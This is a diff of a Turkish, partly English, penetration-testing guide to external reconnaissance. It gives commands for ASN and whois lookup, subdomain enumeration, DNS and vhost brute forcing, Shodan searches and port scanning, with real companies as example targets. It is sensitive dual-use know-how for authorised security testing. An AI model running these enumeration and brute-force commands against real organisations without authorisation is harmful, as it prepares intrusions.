**Şirketin bulunduğu bölgeye bağlı olarak, daha fazla veri toplamak için bu bağlantılar faydalı olabilir:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Kuzey Amerika),** [**APNIC**](https://www.apnic.net) **(Asya),** [**LACNIC**](https://www.lacnic.net) **(Latin Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Avrupa). Her neyse, muhtemelen tüm** yararlı bilgiler **(IP aralıkları ve Whois)** zaten ilk bağlantıda görünmektedir.
 | 
			
		||||
**Şirketin herhangi bir ASN atayıp atamadığını** bulmak, **IP aralıklarını** bulmak için ilginçtir. Kapsam içindeki tüm **hostlar** üzerinde bir **zafiyet testi** gerçekleştirmek ve bu IP'ler içindeki **alan adlarını** aramak ilginç olacaktır.\
 | 
			
		||||
[**https://bgp.he.net/**](https://bgp.he.net) adresinde şirket **adı**, **IP** veya **alan adı** ile **arama** yapabilirsiniz.\
 | 
			
		||||
**Şirketin bulunduğu bölgeye bağlı olarak, bu bağlantılar daha fazla veri toplamak için faydalı olabilir:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Kuzey Amerika),** [**APNIC**](https://www.apnic.net) **(Asya),** [**LACNIC**](https://www.lacnic.net) **(Latin Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Avrupa). Her neyse, muhtemelen tüm** yararlı bilgiler **(IP aralıkları ve Whois)** zaten ilk bağlantıda görünmektedir.
 | 
			
		||||
```bash
 | 
			
		||||
#You can try "automate" this with amass, but it's not very recommended
 | 
			
		||||
amass intel -org tesla
 | 
			
		||||
amass intel -asn 8911,50313,394161
 | 
			
		||||
```
 | 
			
		||||
Ayrıca, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'nın** alt alan adı sayımı, taramanın sonunda ASN'leri otomatik olarak toplar ve özetler.
 | 
			
		||||
Ayrıca, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'nin** alt alan adları belirlemesi, taramanın sonunda ASN'leri otomatik olarak toplar ve özetler.
 | 
			
		||||
```bash
 | 
			
		||||
bbot -t tesla.com -f subdomain-enum
 | 
			
		||||
...
 | 
			
		||||
@ -77,33 +77,33 @@ dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
 | 
			
		||||
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
 | 
			
		||||
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
 | 
			
		||||
```
 | 
			
		||||
Bu işlemin çalışması için, yöneticinin PTR'yi manuel olarak etkinleştirmesi gerekir.\
 | 
			
		||||
Bu bilgi için çevrimiçi bir araç da kullanabilirsiniz: [http://ptrarchive.com/](http://ptrarchive.com)
 | 
			
		||||
For this to work, the administrator has to enable manually the PTR.\
 | 
			
		||||
You can also use a online tool for this info: [http://ptrarchive.com/](http://ptrarchive.com)
 | 
			
		||||
 | 
			
		||||
### **Ters Whois (döngü)**
 | 
			
		||||
### **Reverse Whois (loop)**
 | 
			
		||||
 | 
			
		||||
Bir **whois** içinde **kuruluş adı**, **adres**, **e-postalar**, telefon numaraları gibi birçok ilginç **bilgi** bulabilirsiniz... Ancak daha da ilginç olan, bu alanlardan herhangi biriyle **ters whois sorguları** yaparsanız **şirketle ilgili daha fazla varlık** bulabilmenizdir (örneğin, aynı e-postanın göründüğü diğer whois kayıtları).\
 | 
			
		||||
Aşağıdaki çevrimiçi araçları kullanabilirsiniz:
 | 
			
		||||
Inside a **whois** you can find a lot of interesting **bilgiler** like **organizasyon adı**, **adres**, **e-postalar**, telefon numaraları... Ama daha da ilginç olanı, **bu alanlardan herhangi biriyle ters whois sorguları** yaparsanız **şirketle ilgili daha fazla varlık** bulabilirsiniz (örneğin, aynı e-postanın göründüğü diğer whois kayıtları).\
 | 
			
		||||
You can use online tools like:
 | 
			
		||||
 | 
			
		||||
- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Ücretsiz**
 | 
			
		||||
- [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Ücretsiz**
 | 
			
		||||
- [https://www.reversewhois.io/](https://www.reversewhois.io) - **Ücretsiz**
 | 
			
		||||
- [https://www.whoxy.com/](https://www.whoxy.com) - **Ücretsiz** web, ücretsiz olmayan API.
 | 
			
		||||
- [https://www.whoxy.com/](https://www.whoxy.com) - **Ücretsiz** web, ücretsiz API değil.
 | 
			
		||||
- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Ücretsiz değil
 | 
			
		||||
- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Ücretsiz Değil (sadece **100 ücretsiz** arama)
 | 
			
		||||
- [https://www.domainiq.com/](https://www.domainiq.com) - Ücretsiz Değil
 | 
			
		||||
 | 
			
		||||
Bu görevi [**DomLink** ](https://github.com/vysecurity/DomLink) kullanarak otomatikleştirebilirsiniz (bir whoxy API anahtarı gerektirir).\
 | 
			
		||||
Ayrıca [amass](https://github.com/OWASP/Amass) ile bazı otomatik ters whois keşifleri gerçekleştirebilirsiniz: `amass intel -d tesla.com -whois`
 | 
			
		||||
You can automate this task using [**DomLink** ](https://github.com/vysecurity/DomLink)(requires a whoxy API key).\
 | 
			
		||||
You can also perform some automatic reverse whois discovery with [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
 | 
			
		||||
 | 
			
		||||
**Bu tekniği her yeni alan adı bulduğunuzda daha fazla alan adı keşfetmek için kullanabileceğinizi unutmayın.**
 | 
			
		||||
**Note that you can use this technique to discover more domain names every time you find a new domain.**
 | 
			
		||||
 | 
			
		||||
### **İzleyiciler**
 | 
			
		||||
### **Trackers**
 | 
			
		||||
 | 
			
		||||
Eğer 2 farklı sayfada **aynı izleyicinin aynı ID'sini** bulursanız, **her iki sayfanın** da **aynı ekip tarafından yönetildiğini** varsayabilirsiniz.\
 | 
			
		||||
Örneğin, birkaç sayfada aynı **Google Analytics ID'sini** veya aynı **Adsense ID'sini** görüyorsanız.
 | 
			
		||||
If find the **same ID of the same tracker** in 2 different pages you can suppose that **both pages** are **managed by the same team**.\
 | 
			
		||||
For example, if you see the same **Google Analytics ID** or the same **Adsense ID** on several pages.
 | 
			
		||||
 | 
			
		||||
Bu izleyicilerle ve daha fazlasıyla arama yapmanıza olanak tanıyan bazı sayfalar ve araçlar vardır:
 | 
			
		||||
There are some pages and tools that let you search by these trackers and more:
 | 
			
		||||
 | 
			
		||||
- [**Udon**](https://github.com/dhn/udon)
 | 
			
		||||
- [**BuiltWith**](https://builtwith.com)
 | 
			
		||||
@ -113,16 +113,16 @@ Bu izleyicilerle ve daha fazlasıyla arama yapmanıza olanak tanıyan bazı sayf
 | 
			
		||||
 | 
			
		||||
### **Favicon**
 | 
			
		||||
 | 
			
		||||
Hedefimize ait ilgili alan adlarını ve alt alan adlarını aynı favicon simgesi hash'ini arayarak bulabileceğimizi biliyor muydunuz? Bu, [@m4ll0k2](https://twitter.com/m4ll0k2) tarafından yapılan [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) aracının tam olarak yaptığı şeydir. İşte nasıl kullanacağınız:
 | 
			
		||||
Did you know that we can find related domains and sub domains to our target by looking for the same favicon icon hash? This is exactly what [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) tool made by [@m4ll0k2](https://twitter.com/m4ll0k2) does. Here’s how to use it:
 | 
			
		||||
```bash
 | 
			
		||||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
 | 
			
		||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
 | 
			
		||||
```
 | 
			
		||||

 | 
			
		||||

 | 
			
		||||
 | 
			
		||||
Basitçe söylemek gerekirse, favihash hedefimizle aynı favicon simgesi hash'ine sahip alanları keşfetmemizi sağlar.
 | 
			
		||||
Basitçe söylemek gerekirse, favihash hedefimizle aynı favicon simgesi hash'ine sahip alan adlarını keşfetmemizi sağlar.
 | 
			
		||||
 | 
			
		||||
Ayrıca, favicon hash'ini kullanarak teknolojileri arayabilirsiniz, [**bu blog yazısında**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) açıklandığı gibi. Yani, eğer bir web teknolojisinin savunmasız bir sürümünün **favicon hash'ini** biliyorsanız, shodan'da arama yapabilir ve **daha fazla savunmasız yer bulabilirsiniz**:
 | 
			
		||||
Ayrıca, favicon hash'ini kullanarak teknolojileri arayabilirsiniz, [**bu blog yazısında**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) açıklandığı gibi. Yani, eğer bir web teknolojisinin savunmasız bir sürümünün **favicon'unun hash'ini** biliyorsanız, shodan'da arama yapabilir ve **daha fazla savunmasız yer bulabilirsiniz**:
 | 
			
		||||
```bash
 | 
			
		||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
 | 
			
		||||
```
 | 
			
		||||
@ -141,16 +141,16 @@ return fhash
 | 
			
		||||
```
 | 
			
		||||
### **Copyright / Uniq string**
 | 
			
		||||
 | 
			
		||||
Farklı web siteleri arasında **paylaşılabilecek dizgileri** arayın. **Telif hakkı dizgisi** iyi bir örnek olabilir. Ardından bu dizgiyi **google**, diğer **tarayıcılarda** veya hatta **shodan**'da arayın: `shodan search http.html:"Copyright string"`
 | 
			
		||||
Farklı web siteleri arasında **paylaşılabilecek dizgeleri** arayın. **Telif hakkı dizgesi** iyi bir örnek olabilir. Ardından bu dizgeyi **google**, diğer **tarayıcılar** veya hatta **shodan** üzerinde arayın: `shodan search http.html:"Copyright string"`
 | 
			
		||||
 | 
			
		||||
### **CRT Time**
 | 
			
		||||
 | 
			
		||||
Genellikle bir cron işi olması yaygındır.
 | 
			
		||||
Bir cron işi olması yaygındır.
 | 
			
		||||
```bash
 | 
			
		||||
# /etc/crontab
 | 
			
		||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
 | 
			
		||||
```
 | 
			
		||||
sunucudaki tüm alan adı sertifikalarını yenilemek. Bu, bunun için kullanılan CA'nın geçerlilik süresinde oluşturulma zamanını ayarlamaması durumunda bile, **sertifika şeffaflık günlüklerinde aynı şirkete ait alan adlarını bulmanın mümkün olduğu** anlamına gelir.\
 | 
			
		||||
sunucudaki tüm alan adı sertifikalarını yenilemek. Bu, bu işlem için kullanılan CA'nın geçerlilik süresinde oluşturulma zamanını ayarlamaması durumunda bile, **sertifika şeffaflık günlüklerinde aynı şirkete ait alan adlarını bulmanın mümkün olduğu** anlamına gelir.\
 | 
			
		||||
Daha fazla bilgi için bu [**yazıya göz atın**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
 | 
			
		||||
 | 
			
		||||
### Mail DMARC bilgileri
 | 
			
		||||
@ -159,7 +159,7 @@ Daha fazla bilgi için bu [**yazıya göz atın**](https://swarm.ptsecurity.com/
 | 
			
		||||
 | 
			
		||||
### **Pasif Ele Geçirme**
 | 
			
		||||
 | 
			
		||||
Görünüşe göre, insanların alt alan adlarını bulut sağlayıcılarına ait IP'lere ataması ve bir noktada **o IP adresini kaybetmesi ama DNS kaydını silmeyi unutmaları** yaygındır. Bu nedenle, sadece bir bulutta (örneğin Digital Ocean) **bir VM oluşturmak**, aslında **bazı alt alan adlarını ele geçirmek** anlamına gelir.
 | 
			
		||||
Görünüşe göre, insanların alt alan adlarını bulut sağlayıcılarına ait IP'lere ataması ve bir noktada **o IP adresini kaybetmesi ama DNS kaydını silmeyi unutmaları** yaygındır. Bu nedenle, sadece **bir VM oluşturmak** (örneğin Digital Ocean'da) aslında **bazı alt alan adlarını ele geçireceksiniz**.
 | 
			
		||||
 | 
			
		||||
[**Bu yazı**](https://kmsec.uk/blog/passive-takeover/) bununla ilgili bir hikaye anlatıyor ve **DigitalOcean'da bir VM oluşturan**, **yeni makinenin** **IPv4'ünü alan** ve **Virustotal'da ona işaret eden alt alan adı kayıtlarını arayan** bir script öneriyor.
 | 
			
		||||
 | 
			
		||||
@ -169,9 +169,9 @@ Görünüşe göre, insanların alt alan adlarını bulut sağlayıcılarına ai
 | 
			
		||||
 | 
			
		||||
**Shodan**
 | 
			
		||||
 | 
			
		||||
IP alanına sahip olan kuruluşun adını zaten biliyorsunuz. Bu veriyi shodan'da aramak için: `org:"Tesla, Inc."` kullanabilirsiniz. Bulunan hostları TLS sertifikasında yeni beklenmedik alan adları için kontrol edin.
 | 
			
		||||
IP alanına sahip olan kuruluşun adını zaten bildiğiniz için, bu veriyi shodan'da arayabilirsiniz: `org:"Tesla, Inc."` Bulunan hostları TLS sertifikasında yeni beklenmedik alan adları için kontrol edin.
 | 
			
		||||
 | 
			
		||||
Ana web sayfasının **TLS sertifikasına** erişebilir, **Kuruluş adını** alabilir ve ardından **shodan** tarafından bilinen tüm web sayfalarının **TLS sertifikalarında** o adı arayabilirsiniz, filtre ile: `ssl:"Tesla Motors"` veya [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) gibi bir araç kullanabilirsiniz.
 | 
			
		||||
Ana web sayfasının **TLS sertifikasına** erişebilir, **Kuruluş adını** alabilir ve ardından **shodan** tarafından bilinen tüm web sayfalarının **TLS sertifikalarında** o adı arayabilirsiniz: `ssl:"Tesla Motors"` veya [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) gibi bir araç kullanabilirsiniz.
 | 
			
		||||
 | 
			
		||||
**Assetfinder**
 | 
			
		||||
 | 
			
		||||
@ -179,9 +179,9 @@ Ana web sayfasının **TLS sertifikasına** erişebilir, **Kuruluş adını** al
 | 
			
		||||
 | 
			
		||||
### **Zafiyet arama**
 | 
			
		||||
 | 
			
		||||
Bazı [alan adı ele geçirme](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) durumlarını kontrol edin. Belki de bir şirket **bir alan adı kullanıyor** ama **sahipliğini kaybetti**. Sadece kaydedin (eğer yeterince ucuzsa) ve şirkete bildirin.
 | 
			
		||||
Bazı [alan adı ele geçirme](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) durumlarını kontrol edin. Belki de bir şirket **bir alan adı kullanıyor** ama **sahipliğini kaybetti**. Sadece kaydedin (eğer yeterince ucuzsa) ve şirketi bilgilendirin.
 | 
			
		||||
 | 
			
		||||
Eğer bulduğunuz varlık keşfinde zaten bulduğunuz IP'lerden farklı bir IP'ye sahip herhangi bir **alan adı** bulursanız, **temel bir zafiyet taraması** (Nessus veya OpenVAS kullanarak) ve bazı [**port taramaları**](../pentesting-network/index.html#discovering-hosts-from-the-outside) ile **nmap/masscan/shodan** yapmalısınız. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "saldırmak" için bazı ipuçları** bulabilirsiniz.\
 | 
			
		||||
Eğer bulduğunuz **alan adlarından farklı bir IP'ye sahip** herhangi bir **alan adı** bulursanız, **temel bir zafiyet taraması** (Nessus veya OpenVAS kullanarak) ve bazı [**port taramaları**](../pentesting-network/index.html#discovering-hosts-from-the-outside) ile **nmap/masscan/shodan** yapmalısınız. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "saldırmak" için bazı ipuçları bulabilirsiniz**.\
 | 
			
		||||
&#xNAN;_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
 | 
			
		||||
 | 
			
		||||
## Alt Alan Adları
 | 
			
		||||
@ -195,7 +195,7 @@ Bulunan her alan adının tüm olası alt alan adlarını bulma zamanı.
 | 
			
		||||
 | 
			
		||||
### **DNS**
 | 
			
		||||
 | 
			
		||||
**DNS** kayıtlarından **alt alan adlarını** almaya çalışalım. Ayrıca **Zone Transfer** için de denemeliyiz (Eğer savunmasızsa, bunu bildirmelisiniz).
 | 
			
		||||
**DNS** kayıtlarından **alt alan adlarını** almaya çalışalım. Ayrıca **Zone Transfer** için de denemeliyiz (Eğer savunmasızsa, bunu rapor etmelisiniz).
 | 
			
		||||
```bash
 | 
			
		||||
dnsrecon -a -d tesla.com
 | 
			
		||||
```
 | 
			
		||||
@ -287,7 +287,7 @@ crt tesla.com
 | 
			
		||||
# Get subdomains from GAUs found URLs
 | 
			
		||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
 | 
			
		||||
```
 | 
			
		||||
- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Web'de JS dosyalarını arayıp oradan alt alan adlarını çıkarırlar.
 | 
			
		||||
- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Web'den JS dosyalarını arayıp buradan alt alan adlarını çıkarırlar.
 | 
			
		||||
```bash
 | 
			
		||||
# Get only subdomains from SubDomainizer
 | 
			
		||||
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
 | 
			
		||||
@ -321,7 +321,7 @@ Bu araçların birçokunun **karşılaştırmasını** burada bulabilirsiniz: [h
 | 
			
		||||
 | 
			
		||||
### **DNS Kaba Kuvvet**
 | 
			
		||||
 | 
			
		||||
Yeni **alt alanları** bulmak için olası alt alan adlarını kullanarak DNS sunucularını kaba kuvvetle deneyelim.
 | 
			
		||||
Olası alt alan adlarını kullanarak DNS sunucularını kaba kuvvetle yeni **alt alanlar** bulmaya çalışalım.
 | 
			
		||||
 | 
			
		||||
Bu işlem için bazı **yaygın alt alan kelime listelerine** ihtiyacınız olacak:
 | 
			
		||||
 | 
			
		||||
@ -331,7 +331,7 @@ Bu işlem için bazı **yaygın alt alan kelime listelerine** ihtiyacınız olac
 | 
			
		||||
- [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
 | 
			
		||||
- [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
 | 
			
		||||
 | 
			
		||||
Ayrıca iyi DNS çözümleyicilerin IP'lerine de ihtiyacınız var. Güvenilir DNS çözümleyicilerin bir listesini oluşturmak için [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) adresinden çözümleyicileri indirebilir ve [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) kullanarak filtreleyebilirsiniz. Ya da şunu kullanabilirsiniz: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
 | 
			
		||||
Ayrıca iyi DNS çözümleyicilerin IP'lerine de ihtiyacınız var. Güvenilir DNS çözümleyicilerin bir listesini oluşturmak için [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) adresinden çözümleyicileri indirebilir ve bunları filtrelemek için [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) kullanabilirsiniz. Ya da şunu kullanabilirsiniz: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
 | 
			
		||||
 | 
			
		||||
DNS kaba kuvvet için en çok önerilen araçlar şunlardır:
 | 
			
		||||
 | 
			
		||||
@ -345,7 +345,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
 | 
			
		||||
```
 | 
			
		||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
 | 
			
		||||
```
 | 
			
		||||
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns), `massdns` etrafında yazılmış bir go wrapper'ıdır ve aktif brute force kullanarak geçerli alt alan adlarını listelemenizi sağlar, ayrıca alt alan adlarını wildcard yönetimi ile çözümleyebilir ve kolay girdi-çıktı desteği sunar.
 | 
			
		||||
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns), `massdns` etrafında yazılmış bir go wrapper'ıdır ve geçerli alt alan adlarını aktif brute force kullanarak listelemenizi sağlar, ayrıca alt alan adlarını wildcard yönetimi ile çözümleyebilir ve kolay girdi-çıktı desteği sunar.
 | 
			
		||||
```
 | 
			
		||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
 | 
			
		||||
```
 | 
			
		||||
@ -353,7 +353,7 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
 | 
			
		||||
```
 | 
			
		||||
puredns bruteforce all.txt domain.com
 | 
			
		||||
```
 | 
			
		||||
- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) alan adlarını asenkron olarak zorlamak için asyncio kullanır.
 | 
			
		||||
- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) asenkron olarak alan adlarını zorlamak için asyncio kullanır.
 | 
			
		||||
```
 | 
			
		||||
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
 | 
			
		||||
```
 | 
			
		||||
@ -365,8 +365,8 @@ Açık kaynaklar ve kaba kuvvet kullanarak alt alan adlarını bulduktan sonra,
 | 
			
		||||
```bash
 | 
			
		||||
cat subdomains.txt | dnsgen -
 | 
			
		||||
```
 | 
			
		||||
- [**goaltdns**](https://github.com/subfinder/goaltdns): Verilen alan adları ve alt alan adları için permütasyonlar oluşturur.
 | 
			
		||||
- goaltdns permütasyonlarını **wordlist** olarak [**buradan**](https://github.com/subfinder/goaltdns/blob/master/words.txt) alabilirsiniz.
 | 
			
		||||
- [**goaltdns**](https://github.com/subfinder/goaltdns): Verilen alan adları ve alt alan adları için permutasyonlar oluşturur.
 | 
			
		||||
- goaltdns permutasyonlarını **wordlist** olarak [**buradan**](https://github.com/subfinder/goaltdns/blob/master/words.txt) alabilirsiniz.
 | 
			
		||||
```bash
 | 
			
		||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
 | 
			
		||||
```
 | 
			
		||||
@ -395,7 +395,7 @@ python3 main.py adobe.com adobe adobe.rules
 | 
			
		||||
make_brute_list.sh adobe.rules adobe.brute
 | 
			
		||||
puredns resolve adobe.brute --write adobe.valid
 | 
			
		||||
```
 | 
			
		||||
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_, bir alt alan brute-force fuzzer'dır ve son derece basit ama etkili bir DNS yanıt rehberli algoritma ile birleştirilmiştir. Sağlanan bir girdi veri setini, özel bir kelime listesi veya tarihsel DNS/TLS kayıtları gibi, kullanarak daha fazla ilgili alan adı sentezler ve DNS taraması sırasında toplanan bilgilere dayalı olarak bunları bir döngüde daha da genişletir.
 | 
			
		||||
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_, bir alt alan brute-force fuzzer'dır ve son derece basit ama etkili bir DNS yanıt rehberli algoritma ile birleştirilmiştir. Sağlanan bir girdi veri setini, özel bir kelime listesi veya tarihsel DNS/TLS kayıtları gibi, kullanarak daha fazla ilgili alan adı sentezlemek ve bunları DNS taraması sırasında toplanan bilgilere dayalı olarak bir döngüde daha da genişletmek için kullanır.
 | 
			
		||||
```
 | 
			
		||||
echo www | subzuf facebook.com
 | 
			
		||||
```
 | 
			
		||||
@ -413,15 +413,15 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
 | 
			
		||||
 | 
			
		||||
### **VHosts / Sanal Ana Bilgiler**
 | 
			
		||||
 | 
			
		||||
Eğer bir IP adresinde **bir veya birkaç web sayfası** bulduysanız, **o IP'deki diğer alt alanları bulmaya çalışabilirsiniz**. Bunun için **OSINT kaynaklarında** bir IP'deki alan adlarını arayabilir veya **o IP'deki VHost alan adlarını brute-force yapabilirsiniz**.
 | 
			
		||||
Eğer bir IP adresinde **bir veya birkaç web sayfası** bulduysanız, **o IP'deki diğer alt alanları bulmaya çalışabilirsiniz**. Bunun için **OSINT kaynaklarında** bir IP'deki alan adlarını arayabilir veya **o IP'deki VHost alan adlarını brute force ile deneyebilirsiniz**.
 | 
			
		||||
 | 
			
		||||
#### OSINT
 | 
			
		||||
 | 
			
		||||
Bazı **VHosts'leri IP'lerde bulmak için** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **veya diğer API'leri** kullanabilirsiniz.
 | 
			
		||||
Bazı **VHosts'ları IP'lerde bulmak için** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **veya diğer API'leri** kullanabilirsiniz.
 | 
			
		||||
 | 
			
		||||
**Brute Force**
 | 
			
		||||
 | 
			
		||||
Eğer bazı alt alanların bir web sunucusunda gizlenmiş olabileceğinden şüpheleniyorsanız, brute force yapmayı deneyebilirsiniz:
 | 
			
		||||
Eğer bazı alt alanların bir web sunucusunda gizli olabileceğinden şüpheleniyorsanız, bunu brute force ile denemeyi düşünebilirsiniz:
 | 
			
		||||
```bash
 | 
			
		||||
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
 | 
			
		||||
 | 
			
		||||
@ -440,14 +440,14 @@ VHostScan -t example.com
 | 
			
		||||
 | 
			
		||||
### **CORS Brute Force**
 | 
			
		||||
 | 
			
		||||
Bazen, yalnızca geçerli bir alan/ad alanı _**Origin**_ başlığında ayarlandığında _**Access-Control-Allow-Origin**_ başlığını döndüren sayfalar bulabilirsiniz. Bu senaryolarda, bu davranışı **yeni** **alt alanları** **keşfetmek** için kötüye kullanabilirsiniz.
 | 
			
		||||
Bazen, yalnızca geçerli bir alan/ad alanı _**Origin**_ başlığında ayarlandığında _**Access-Control-Allow-Origin**_ başlığını döndüren sayfalar bulabilirsiniz. Bu senaryolarda, bu davranışı **keşfetmek** için **yeni alt alan adları** bulmak amacıyla kötüye kullanabilirsiniz.
 | 
			
		||||
```bash
 | 
			
		||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
 | 
			
		||||
```
 | 
			
		||||
### **Buckets Brute Force**
 | 
			
		||||
 | 
			
		||||
**Alt alanlar** ararken, herhangi bir tür **bucket**'a **işaret edip etmediğine** dikkat edin ve bu durumda [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
 | 
			
		||||
Ayrıca, bu noktada kapsam içindeki tüm alan adlarını bildiğiniz için, [**mümkün olan bucket isimlerini brute force yapmayı ve izinleri kontrol etmeyi**](../../network-services-pentesting/pentesting-web/buckets/) deneyin.
 | 
			
		||||
**Alt alanlar** ararken, herhangi bir tür **bucket**'a **işaret edip etmediğine** dikkat edin ve bu durumda [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
 | 
			
		||||
Ayrıca, bu noktada kapsam içindeki tüm alan adlarını bildiğiniz için, [**mümkün olan bucket isimlerini brute force yapmayı ve izinleri kontrol etmeyi**](../../network-services-pentesting/pentesting-web/buckets/index.html) deneyin.
 | 
			
		||||
 | 
			
		||||
### **Monitorization**
 | 
			
		||||
 | 
			
		||||
@ -455,10 +455,10 @@ Bir alan adının **yeni alt alanları** oluşturulup oluşturulmadığını **S
 | 
			
		||||
 | 
			
		||||
### **Looking for vulnerabilities**
 | 
			
		||||
 | 
			
		||||
Olası [**alt alan devralmalarını**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) kontrol edin.\
 | 
			
		||||
Eğer **alt alan** bir **S3 bucket**'a işaret ediyorsa, [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/).
 | 
			
		||||
Mümkün olan [**alt alan ele geçirmelerini**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) kontrol edin.\
 | 
			
		||||
Eğer **alt alan** bazı **S3 bucket**'larına **işaret ediyorsa**, [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/index.html).
 | 
			
		||||
 | 
			
		||||
Eğer keşif aşamasında bulduğunuz varlıkların IP'lerinden farklı bir **IP ile alt alan** bulursanız, **temel bir güvenlik açığı taraması** (Nessus veya OpenVAS kullanarak) ve bazı [**port taramaları**](../pentesting-network/index.html#discovering-hosts-from-the-outside) yapmalısınız **nmap/masscan/shodan** ile. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "saldırmak" için bazı ipuçları bulabilirsiniz**.\
 | 
			
		||||
Eğer keşif aşamasında bulduğunuz varlıkların IP'lerinden farklı bir **IP'ye sahip herhangi bir alt alan** bulursanız, **temel bir güvenlik açığı taraması** (Nessus veya OpenVAS kullanarak) ve bazı [**port taramaları**](../pentesting-network/index.html#discovering-hosts-from-the-outside) yapmalısınız **nmap/masscan/shodan** ile. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "saldırmak" için bazı ipuçları bulabilirsiniz**.\
 | 
			
		||||
&#xNAN;_Note, bazen alt alanın, müşterinin kontrolünde olmayan bir IP içinde barındırıldığını unutmayın, bu nedenle kapsamda değildir, dikkatli olun._
 | 
			
		||||
 | 
			
		||||
## IPs
 | 
			
		||||
@ -476,7 +476,7 @@ Ayrıca, belirli bir IP adresine işaret eden alan adlarını kontrol etmek içi
 | 
			
		||||
 | 
			
		||||
**CDN'lere ait olmayan tüm IP'leri port taraması yapın** (çünkü burada ilginç bir şey bulma olasılığınız çok düşük). Keşfedilen çalışan hizmetlerde **güvenlik açıkları bulma** şansınız olabilir.
 | 
			
		||||
 | 
			
		||||
**Host'ları tarama hakkında bir** [**rehber**](../pentesting-network/) **bulun.**
 | 
			
		||||
**Host'ları tarama hakkında bir** [**rehber**](../pentesting-network/index.html) **bulun.**
 | 
			
		||||
 | 
			
		||||
## Web sunucuları avı
 | 
			
		||||
 | 
			
		||||
@ -498,11 +498,11 @@ Artık **kapsamdaki tüm web sunucularını** (şirketin **IP'leri** ve tüm **a
 | 
			
		||||
 | 
			
		||||
